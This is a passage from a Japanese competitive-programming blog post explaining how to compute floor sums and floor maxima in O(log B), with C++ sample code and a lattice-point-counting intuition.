style="color:#df0030;">&#x4E0B;</span></span></span></span>&#x306E;&#x6700;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord cjk_fallback" style="color:#df0030;">&#x5927;</span></span></span></span>&#x306E;&#x6574;&#x6570;&#x3092;&#x8868;&#x3059;&#x3082;&#x306E;&#x3068;&#x3057;&#x307E;&#x3059;&#x3002;<br>
&#x307E;&#x305F;&#x3001;&#x5B9F;&#x6570; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> &#x306B;&#x5BFE;&#x3057;&#x3066;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">&#x2308;</span><span class="mord mathnormal">x</span><span class="mclose">&#x2309;</span></span></span></span> &#x306F;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> &#x4EE5;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord cjk_fallback" style="color:#df0030;">&#x4E0A;</span></span></span></span>&#x306E;&#x6700;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord cjk_fallback" style="color:#df0030;">&#x5C0F;</span></span></span></span>&#x306E;&#x6574;&#x6570;&#x3092;&#x8868;&#x3059;&#x3082;&#x306E;&#x3068;&#x3057;&#x307E;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown--><h1 id="%E3%81%93%E3%81%AE%E3%83%96%E3%83%AD%E3%82%B0%E3%81%AE%E5%86%85%E5%AE%B9%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6">&#x3053;&#x306E;&#x30D6;&#x30ED;&#x30B0;&#x306E;&#x5185;&#x5BB9;&#x306B;&#x3064;&#x3044;&#x3066;</h1><!--kg-card-begin: markdown--><p>&#x3053;&#x306E;&#x30D6;&#x30ED;&#x30B0;&#x3067;&#x306F;&#x4EE5;&#x4E0B;&#x306E; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span> &#x3064;&#x306E;&#x5024;&#x3092; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">)</span></span></span></span> &#x3067;&#x6C42;&#x3081;&#x308B;&#x65B9;&#x6CD5;&#x3092;&#x56F3;&#x3092;&#x7528;&#x3044;&#x3066;&#x7D39;&#x4ECB;&#x3057;&#x307E;&#x3059;&#x3002;&#x3069;&#x3061;&#x3089;&#x3082;&#x30B5;&#x30F3;&#x30D7;&#x30EB;&#x30B3;&#x30FC;&#x30C9;&#x3092;&#x7528;&#x610F;&#x3057;&#x3066;&#x3044;&#x308B;&#x306E;&#x3067;&#x3001;&#x3082;&#x3057;&#x30B3;&#x30F3;&#x30C6;&#x30B9;&#x30C8;&#x4E2D;&#x306E;&#x65B9;&#x304C;&#x3044;&#x308C;&#x3070;&#x30B3;&#x30D4;&#x30DA;&#x3057;&#x3066;&#x4F7F;&#x3048;&#x307E;&#x3059;&#x3002;&#x3060;&#x305F;&#x3057;&#x3001;&#x30B3;&#x30D4;&#x30DA;&#x3059;&#x308B;&#x5834;&#x5408;&#x306F;&#x8D64;&#x5B57;&#x306E;&#x90E8;&#x5206;&#x306B;&#x6CE8;&#x610F;&#x3057;&#x3066;&#x304F;&#x3060;&#x3055;&#x3044;&#x3002;</p>
<ol>
<li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:3.106em;vertical-align:-1.2777em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.8283em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">0</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">&#x2211;</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;color:#df0030;">N</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="delimsizing size3">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size3">&#x230B;</span></span></span></span></span></li>
<li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.4306em;"><span style="top:-2.3557em;margin-left:0em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span><span class="mrel mtight">&#x2264;</span><span class="mord mathnormal mtight">i</span><span class="mrel mtight" style="color:#df0030;">&#x2264;</span><span class="mord mathnormal mtight" style="margin-right:0.10903em;color:#df0030;">N</span></span></span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span><span class="mop">max</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.8395em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="delimsizing size3">(</span></span><span class="mord mathnormal">A</span><span class="mord"><span class="delimsizing size3">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size3">&#x230B;</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mord"><span class="delimsizing size3">)</span></span></span></span></span></li>
</ol>
<p><strong>&#x91CD;&#x8981;</strong><br>
&#x4EE5;&#x4E0B;&#x306E;&#x30B5;&#x30F3;&#x30D7;&#x30EB;&#x30B3;&#x30FC;&#x30C9;&#x306F;<code>using ll = long long;</code>&#x53CA;&#x3073;&#x3053;&#x306E;<code>floor2</code>&#x95A2;&#x6570;&#x3092;&#x524D;&#x63D0;&#x3068;&#x3057;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;&#x5229;&#x7528;&#x3059;&#x308B;&#x5834;&#x5408;&#x306F;&#x3053;&#x3061;&#x3089;&#x3082;&#x5FD8;&#x308C;&#x305A;&#x306B;&#x30B3;&#x30D4;&#x30DA;&#x3057;&#x3066;&#x304F;&#x3060;&#x3055;&#x3044;&#x3002;</p>
<details><summary>&#x30B3;&#x30FC;&#x30C9;&#x3092;&#x5C55;&#x958B;&#x3059;&#x308B;</summary>
<pre class="blog-code"><code class="lang-cpp"><span class="hljs-comment">/// @brief &#x6709;&#x7406;&#x6570;&#x306E;floor&#x3092;&#x6C42;&#x3081;&#x308B;</span>
<span class="hljs-comment">/// @param y</span>
<span class="hljs-comment">/// @param x </span>
<span class="hljs-comment">/// @return floor(y/x)</span>
<span class="hljs-function">ll <span class="hljs-title">floor2</span><span class="hljs-params">(ll y, ll x)</span></span>{
    <span class="hljs-keyword">if</span> ((x^y) &gt; <span class="hljs-number">0</span>){
        x = <span class="hljs-built_in">abs</span>(x);
        y = <span class="hljs-built_in">abs</span>(y);
        <span class="hljs-keyword">return</span> y/x;
    }
    <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> ((x^y) &lt; <span class="hljs-number">0</span>){
        x = <span class="hljs-built_in">abs</span>(x);
        y = <span class="hljs-built_in">abs</span>(y);
        <span class="hljs-keyword">return</span> -((y+x<span class="hljs-number">-1</span>)/x);
    }
    <span class="hljs-keyword">else</span>{
        <span class="hljs-keyword">return</span> y/x;
    }
}
</code></pre>
</details>
<p>1&#x3068;2&#x306E;&#x30B5;&#x30F3;&#x30D7;&#x30EB;&#x30B3;&#x30FC;&#x30C9;&#x306F;&#x3053;&#x3061;&#x3089;</p>
<details><summary>1&#x306E;&#x30B5;&#x30F3;&#x30D7;&#x30EB;&#x30B3;&#x30FC;&#x30C9;</summary>
<pre class="blog-code"><code class="lang-cpp"><span class="hljs-comment">//floor_sum&#x95A2;&#x6570;&#x306B;4&#x3064;&#x306E;&#x6574;&#x6570;N,B,C,D&#x3092;&#x3053;&#x306E;&#x9806;&#x3067;&#x6E21;&#x3057;&#x3066;&#x304F;&#x3060;&#x3055;&#x3044;&#x3002;</span>
<span class="hljs-comment">//&#x6B63;&#x5E38;&#x306B;&#x52D5;&#x4F5C;&#x3059;&#x308B;&#x3053;&#x3068;&#x304C;&#x4FDD;&#x8A3C;&#x3055;&#x308C;&#x308B;&#x7BC4;&#x56F2;&#x306F;&#x3001;N&lt;=10^9, -10^9&lt;=B,C,D&lt;=10^9, B!=0&#x3067;&#x3059;&#x3002;</span>

<span class="hljs-function">ll <span class="hljs-title">internal_floor_sum</span><span class="hljs-params">(ll A, ll B, ll C)</span></span>{
    <span class="hljs-keyword">if</span> (C &lt; <span class="hljs-number">0</span>){<span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;}
    <span class="hljs-keyword">if</span> (A &gt; B){<span class="hljs-keyword">return</span> <span class="hljs-built_in">internal_floor_sum</span>(B,A,C);}
    <span class="hljs-keyword">if</span> (B%A == <span class="hljs-number">0</span>){
        <span class="hljs-keyword">return</span> (<span class="hljs-number">1</span>+<span class="hljs-built_in">floor2</span>(C,A))*(<span class="hljs-number">1</span>+<span class="hljs-built_in">floor2</span>(C,B)) - (B/A)*<span class="hljs-built_in">floor2</span>(C,B)*(<span class="hljs-built_in">floor2</span>(C,B)<span class="hljs-number">+1</span>)/<span class="hljs-number">2</span>;
    }
    ll k = <span class="hljs-built_in">floor2</span>(C-B*<span class="hljs-built_in">floor2</span>(C,B),A);
    <span class="hljs-keyword">return</span> (<span class="hljs-number">1</span>+k)*(<span class="hljs-number">1</span>+<span class="hljs-built_in">floor2</span>(C,B)) + <span class="hljs-built_in">floor2</span>(B,A)*<span class="hljs-built_in">floor2</span>(C,B)*(<span class="hljs-built_in">floor2</span>(C,B)<span class="hljs-number">+1</span>)/<span class="hljs-number">2</span> + <span class="hljs-built_in">internal_floor_sum</span>(A, B%A, C-A*(<span class="hljs-built_in">floor2</span>(B,A)*<span class="hljs-built_in">floor2</span>(C,B)+k<span class="hljs-number">+1</span>));
}
<span class="hljs-comment">/// @brief `\sum_{i=0}^{N} \lfloor\frac{Ci+D}{B}\rfloor`&#x3092;&#x6C42;&#x3081;&#x308B;&#x3002;</span>
<span class="hljs-comment">/// @param N </span>
<span class="hljs-comment">/// @param M </span>
<span class="hljs-comment">/// @param A </span>
<span class="hljs-comment">/// @param B </span>
<span class="hljs-comment">/// @return </span>
<span class="hljs-function">ll <span class="hljs-title">floor_sum</span><span class="hljs-params">(ll N, ll B, ll C, ll D)</span></span>{
    <span class="hljs-keyword">if</span> (N &lt; <span class="hljs-number">0</span>){
        <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
    }
    <span class="hljs-keyword">if</span> (B &lt; <span class="hljs-number">0</span>){<span class="hljs-comment">//B&#x3092;&#x6B63;&#x306B;&#x3059;&#x308B;&#x3002;</span>
        B *= <span class="hljs-number">-1</span>;
        C *= <span class="hljs-number">-1</span>;
        D *= <span class="hljs-number">-1</span>;
    }
    <span class="hljs-keyword">if</span> (C &gt; <span class="hljs-number">0</span>){<span class="hljs-comment">//C&#x3092;&#x8CA0;&#x306B;&#x3059;&#x308B;&#x304C;&#x3001;C&#x3092;-C&#x306B;&#x7F6E;&#x304D;&#x63DB;&#x3048;&#x3066;C&gt;0&#x3068;&#x3057;&#x3066;&#x6271;&#x3046;&#x3002;</span>
        D += N*C;
    }
    <span class="hljs-keyword">else</span>{
        C *= <span class="hljs-number">-1</span>;
    }
    <span class="hljs-keyword">if</span> (C == <span class="hljs-number">0</span>){
        <span class="hljs-keyword">return</span> (N<span class="hljs-number">+1</span>)*<span class="hljs-built_in">floor2</span>(D,B);
    }
    ll k = <span class="hljs-built_in">floor2</span>(D-C*N,B);
    <span class="hljs-keyword">return</span> (N<span class="hljs-number">+1</span>)*k + <span class="hljs-built_in">internal_floor_sum</span>(B,C,D-B*(k<span class="hljs-number">+1</span>));
}
</code></pre>
</details>
<details><summary>2&#x306E;&#x30B5;&#x30F3;&#x30D7;&#x30EB;&#x30B3;&#x30FC;&#x30C9;</summary>
<pre class="blog-code"><code class="lang-cpp"><span class="hljs-comment">//floor_max&#x95A2;&#x6570;&#x306B;7&#x3064;&#x306E;&#x6574;&#x6570;N,A,B,C,D,E,F&#x3092;&#x3053;&#x306E;&#x9806;&#x3067;&#x6E21;&#x3057;&#x3066;&#x304F;&#x3060;&#x3055;&#x3044;&#x3002;</span>
<span class="hljs-comment">//&#x6B63;&#x5E38;&#x306B;&#x52D5;&#x4F5C;&#x3059;&#x308B;&#x3053;&#x3068;&#x304C;&#x4FDD;&#x8A3C;&#x3055;&#x308C;&#x308B;&#x7BC4;&#x56F2;&#x306F;&#x3001;0&lt;=N, -10^9&lt;=A,B,C,D,E,F&lt;=10^9, B!=0&#x3067;&#x3059;&#x3002;</span>


<span class="hljs-function">ll <span class="hljs-title">internal_floor_max</span><span class="hljs-params">(ll A, ll B, ll C, ll D, ll E, ll F)</span></span>{
    <span class="hljs-keyword">if</span> (D &lt; <span class="hljs-number">0</span>){<span class="hljs-keyword">return</span> <span class="hljs-number">-1000000000000000000</span>;}
    <span class="hljs-keyword">if</span> (C &lt;= <span class="hljs-number">0</span>){<span class="hljs-keyword">return</span> <span class="hljs-number">-1000000000000000000</span>;}
    <span class="hljs-keyword">if</span> (E &gt; <span class="hljs-number">0</span>){
        <span class="hljs-keyword">if</span> (B &gt; C){<span class="hljs-built_in">swap</span>(A,E);<span class="hljs-built_in">swap</span>(B,C);}
        ll M = <span class="hljs-built_in">floor2</span>(D-C*<span class="hljs-built_in">floor2</span>(D, C), B);
        ll tempans = <span class="hljs-built_in">max</span>(A*M+E*<span class="hljs-built_in">floor2</span>(D, C), A*<span class="hljs-built_in">floor2</span>(D, B)) + F;
        <span class="hljs-keyword">return</span> <span class="hljs-built_in">max</span>(tempans, A*(<span class="hljs-number">1</span>+M)+<span class="hljs-built_in">internal_floor_max</span>(A, B, C%B, D-B*(<span class="hljs-number">1</span>+M+<span class="hljs-built_in">floor2</span>(C, B)*<span class="hljs-built_in">floor2</span>(D, C)), E-A*<span class="hljs-built_in">floor2</span>(C, B), F+A*<span class="hljs-built_in">floor2</span>(C, B)*<span class="hljs-built_in">floor2</span>(D, C)));
    }
    <span class="hljs-keyword">else</span> <span class="hljs-keyword">return</span> A*<span class="hljs-built_in">floor2</span>(D, B) + F;
}

<span class="hljs-comment">/// @brief `0&lt;=x&lt;=N`&#x306E;&#x4E0B;&#x3067;&#x3001;`A*floor2(C*x+D, B)+E*x+F`&#x306E;&#x6700;&#x5927;&#x5024;&#x3092;&#x6C42;&#x3081;&#x308B;&#x3002;&#x3082;&#x3057;&#x4F55;&#x304B;&#x304C;&#x304A;&#x304B;&#x3057;&#x3044;&#x306A;&#x3089;`-10^18`&#x304C;&#x8FD4;&#x3055;&#x308C;&#x308B;&#x3002;</span>
<span class="hljs-comment">/// @param N </span>
<span class="hljs-comment">/// @param A </span>
<span class="hljs-comment">/// @param B </span>
<span class="hljs-comment">/// @param C </span>
<span class="hljs-comment">/// @param D </span>
<span class="hljs-comment">/// @param E </span>
<span class="hljs-comment">/// @param F </span>
<span class="hljs-comment">/// @return `max`</span>
<span class="hljs-function">ll <span class="hljs-title">floor_max</span><span class="hljs-params">(ll N, ll A, ll B, ll C, ll D, ll E, ll F)</span></span>{
    <span class="hljs-keyword">if</span> (N &lt; <span class="hljs-number">0</span>){
        <span class="hljs-keyword">return</span> <span class="hljs-number">-1000000000000000000</span>;
    }
    <span class="hljs-built_in">assert</span>(B != <span class="hljs-number">0</span>);
    <span class="hljs-comment">//&#x30DE;&#x30A4;&#x30CA;&#x30B9;&#x3092;&#x51E6;&#x7406;</span>
    <span class="hljs-keyword">if</span> (B &lt; <span class="hljs-number">0</span>){
        B *= <span class="hljs-number">-1</span>;
        C *= <span class="hljs-number">-1</span>;
        D *= <span class="hljs-number">-1</span>;
    }
    <span class="hljs-keyword">if</span> (A &lt; <span class="hljs-number">0</span>){
        A *= <span class="hljs-number">-1</span>;
        C *= <span class="hljs-number">-1</span>;
        D *= <span class="hljs-number">-1</span>;
        D += B<span class="hljs-number">-1</span>;
    }
    <span class="hljs-comment">//&#x81EA;&#x660E;&#x306A;&#x30B1;&#x30FC;&#x30B9;</span>
    <span class="hljs-keyword">if</span> (C == <span class="hljs-number">0</span> <span class="hljs-keyword">or</span> A == <span class="hljs-number">0</span>){
        <span class="hljs-keyword">return</span> A*<span class="hljs-built_in">floor2</span>(D, B) + F + <span class="hljs-built_in">max</span>(<span class="hljs-number">0LL</span>, E*N);
    }
    <span class="hljs-keyword">if</span> (E == <span class="hljs-number">0</span>){
        <span class="hljs-keyword">return</span> A*<span class="hljs-built_in">floor2</span>(<span class="hljs-built_in">max</span>(<span class="hljs-number">0LL</span>, C*N)+D, B) + F;
    }
    <span class="hljs-comment">//C&#x306E;&#x4FC2;&#x6570;&#x3092;&#x8ABF;&#x6574;</span>
    <span class="hljs-keyword">if</span> (C &gt; <span class="hljs-number">0</span>){
        F += E*N;
        E *= <span class="hljs-number">-1</span>;
        D += C*N;
    }
    <span class="hljs-keyword">else</span>{
        <span class="hljs-comment">//`A*floor2(D-C*x, B)+E*x+F`, `A,B,C&gt;0`&#x306B;&#x3059;&#x308B;</span>
        C *= <span class="hljs-number">-1</span>;
    }
    <span class="hljs-comment">//&#x81EA;&#x660E;&#x306A;&#x30B1;&#x30FC;&#x30B9;&#x3092;&#x51E6;&#x7406;</span>
    <span class="hljs-keyword">if</span> (E &lt; <span class="hljs-number">0</span>){
        <span class="hljs-keyword">return</span> A*<span class="hljs-built_in">floor2</span>(D, B) + F;
    }
    ll x_offset = <span class="hljs-built_in">floor2</span>(D-C*N, B)<span class="hljs-number">+1</span>;
    D -= B*x_offset;
    <span class="hljs-keyword">return</span> A*x_offset + <span class="hljs-built_in">max</span>(<span class="hljs-built_in">internal_floor_max</span>(A,B,C,D,E,F), -A+E*N+F);
}
</code></pre>
</details><!--kg-card-end: markdown--><h1 id="1%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6">1&#x306B;&#x3064;&#x3044;&#x3066;</h1><!--kg-card-begin: markdown--><p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:3.106em;vertical-align:-1.2777em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.8283em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">0</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">&#x2211;</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">N</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="delimsizing size3">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size3">&#x230B;</span></span></span></span></span> &#x3068;&#x3044;&#x3046;&#x5F62;&#x306F;floor sum&#x3068;&#x547C;&#x3070;&#x308C;&#x3066;&#x3044;&#x3066;&#x3001;&#x77E5;&#x3063;&#x3066;&#x3044;&#x308B;&#x4EBA;&#x3082;&#x591A;&#x3044;&#x3068;&#x601D;&#x3044;&#x307E;&#x3059;&#x3002;&#x3057;&#x304B;&#x3057;&#x3001;&#x3053;&#x308C;&#x3092; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">)</span></span></span></span> &#x3067;&#x8A08;&#x7B97;&#x3059;&#x308B;&#x3068;&#x306A;&#x308B;&#x3068;&#x3001;&#x305D;&#x306E;&#x904E;&#x7A0B;&#x3067;&#x6570;&#x5F0F;&#x3092;&#x8272;&#x3005;&#x3044;&#x3058;&#x308B;&#x5FC5;&#x8981;&#x304C;&#x3042;&#x308A;&#x3001;&#x4F55;&#x304C;&#x8D77;&#x304D;&#x3066;&#x3044;&#x308B;&#x304B;&#x304C;&#x5206;&#x304B;&#x308A;&#x306B;&#x304F;&#x3044;&#x3067;&#x3059;&#x3002;&#x305D;&#x306E;&#x305F;&#x3081;&#x3001;<strong><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span>&#x5E73;&#x9762;&#x4E0A;&#x306E;&#x3042;&#x308B;&#x9818;&#x57DF;&#x5185;&#x306E;&#x683C;&#x5B50;&#x70B9;&#x3092;&#x6570;&#x3048;&#x308B;&#x554F;&#x984C;</strong>&#x306B;&#x5E30;&#x7740;&#x3055;&#x305B;&#x3001;&#x305D;&#x308C;&#x3092;&#x56F3;&#x3092;&#x7528;&#x3044;&#x3066;&#x8AAC;&#x660E;&#x3059;&#x308B;&#x3053;&#x3068;&#x306B;&#x3057;&#x307E;&#x3059;&#x3002;&#x6700;&#x5F8C;&#x306B;&#x52D5;&#x753B;&#x304C;&#x3042;&#x308B;&#x306E;&#x3067;&#x3001;&#x305D;&#x308C;&#x3060;&#x3051;&#x3092;&#x898B;&#x3066;&#x3082;&#x4F55;&#x3068;&#x306A;&#x304F;&#x7406;&#x89E3;&#x3067;&#x304D;&#x308B;&#x3068;&#x601D;&#x3044;&#x307E;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>&#x307E;&#x305A;&#x3001;&#x30B7;&#x30B0;&#x30DE;&#x306E;&#x5F62;&#x306F;&#x6271;&#x3044;&#x3065;&#x3089;&#x3044;&#x306E;&#x3067;&#x3001;&#x3053;&#x308C;&#x3092;&#x5909;&#x5F62;&#x3057;&#x307E;&#x3059;&#x3002;&#x591A;&#x5C11;&#x306F;&#x6570;&#x5F0F;&#x3092;&#x3044;&#x3058;&#x308A;&#x307E;&#x3059;&#x304C;&#x3001;&#x76F4;&#x611F;&#x7684;&#x306A;&#x8AAC;&#x660E;&#x3082;&#x8F09;&#x305B;&#x3066;&#x304A;&#x304D;&#x307E;&#x3059;&#x3002;</p>
<details><summary>&#x76F4;&#x611F;&#x7684;&#x306A;&#x8AAC;&#x660E;</summary>
<p>&#x3082;&#x3057;&#x3001;&#x9014;&#x4E2D;&#x3067;&#x30B7;&#x30B0;&#x30DE;&#x306E;&#x4E2D;&#x8EAB;&#x304C;&#x8CA0;&#x306B;&#x306A;&#x308B;&#x5834;&#x5408;&#x306F;&#x3001;&#x5341;&#x5206;&#x5927;&#x304D;&#x3044;&#x5B9A;&#x6570;&#x3092;&#x30B7;&#x30B0;&#x30DE;&#x306E;&#x4E2D;&#x306B;&#x8DB3;&#x3057;&#x3066;&#x304A;&#x304D;&#x3001;&#x6700;&#x5F8C;&#x306B;&#x5F15;&#x304F;&#x3053;&#x3068;&#x306B;&#x3059;&#x308C;&#x3070;&#x554F;&#x984C;&#x306A;&#x3044;&#x3067;&#x3059;&#x3002;<br>
&#x3053;&#x306E;&#x3068;&#x304D;&#x3001;&#x3053;&#x306E;&#x7DCF;&#x548C;&#x306F;&#x3001;<strong>xy&#x5E73;&#x9762;&#x4E0A;&#x306E;&#x53F0;&#x5F62;&#x9818;&#x57DF;</strong>&#x306E;&#x5185;&#x90E8;&#x3068;&#x305D;&#x306E;&#x5883;&#x754C;&#x4E0A;&#x306E;&#x683C;&#x5B50;&#x70B9;&#x306E;&#x500B;&#x6570;&#x3092;&#x8868;&#x3057;&#x307E;&#x3059;&#x3002;<br>
&#x53F0;&#x5F62;&#x3092;&#x9577;&#x65B9;&#x5F62;&#x9818;&#x57DF;&#x3068;&#x4E09;&#x89D2;&#x5F62;&#x9818;&#x57DF;&#x306B;&#x5206;&#x3051;&#x3001;&#x9577;&#x65B9;&#x5F62;&#x9818;&#x57DF;&#x5185;(&#x5883;&#x754C;&#x3092;&#x542B;&#x3080;)&#x306E;&#x683C;&#x5B50;&#x70B9;&#x3092;&#x639B;&#x3051;&#x7B97;&#x3067;&#x6570;&#x3048;&#x308B;&#x3053;&#x3068;&#x306B;&#x3059;&#x308C;&#x3070;&#x3001;&#x4E09;&#x89D2;&#x5F62;&#x9818;&#x57DF;&#x5185;(&#x5883;&#x754C;&#x3092;&#x542B;&#x3080;)&#x306E;&#x683C;&#x5B50;&#x70B9;&#x3092;&#x6570;&#x3048;&#x308B;&#x554F;&#x984C;&#x306B;&#x5E30;&#x7740;&#x3055;&#x305B;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;<br>
&#x6570;&#x5F0F;&#x3092;&#x3044;&#x3058;&#x308B;&#x904E;&#x7A0B;&#x3092;&#x30B9;&#x30AD;&#x30C3;&#x30D7;&#x3057;&#x305F;&#x3044;&#x5834;&#x5408;&#x306F;&#x6B21;&#x306E;&#x7AE0;&#x306B;&#x9032;&#x3093;&#x3067;&#x304F;&#x3060;&#x3055;&#x3044;&#x3002;</p>
</details>
